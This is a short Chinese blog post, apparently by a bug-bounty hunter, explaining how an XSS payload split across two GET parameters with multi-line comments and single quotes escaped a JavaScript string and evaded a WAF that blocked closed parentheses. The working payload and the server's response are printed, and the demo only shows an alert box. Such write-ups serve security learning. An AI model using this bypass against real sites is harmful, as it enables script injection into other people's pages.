xss绕waf的小trick
2024-03-23
2 min read
0x00
在翻某SRC的js文件的时候,发现了GET参数可控;情况大致如下
<script>
...
const order = 'microfan2'
const type = 'microfan1'
...
</script>
经过测试发现网站存在WAF,以及后端会对传入的<>
""
做HTML编码;但并不会对'
、()
做编码处理。此处的数据域在<script>
标签内,感觉有戏。
0x01
xss本质属于注入漏洞;因此围绕着的核心思想就是:逃出数据域,进入逻辑域。
经过多次尝试发现,虽然WAF并不会对()
、''
做编码处理;但是会对其做匹配检测。如果一段payload中存在闭合的()
则会对其进行拦截;而)(
却不会拦截
0x02
成功的payload
/index.php?type=*/1);%27&order=%27;alert(1/*
response
<script>
const gift_order = '';
alert(1/*'
const gift_type = '*/);''
</script>
其中的关键点在于:使用多行注释、分号、单引号等使得逃离数据域成功执行弹窗~。分号的作用是让JavaScript解释器能够识别独立的语句。
最后成功弹窗
由于重重限制,最终也就仅能弹个窗;不能进行下一步有效的利用;但是绕waf的过程还是很有意思的~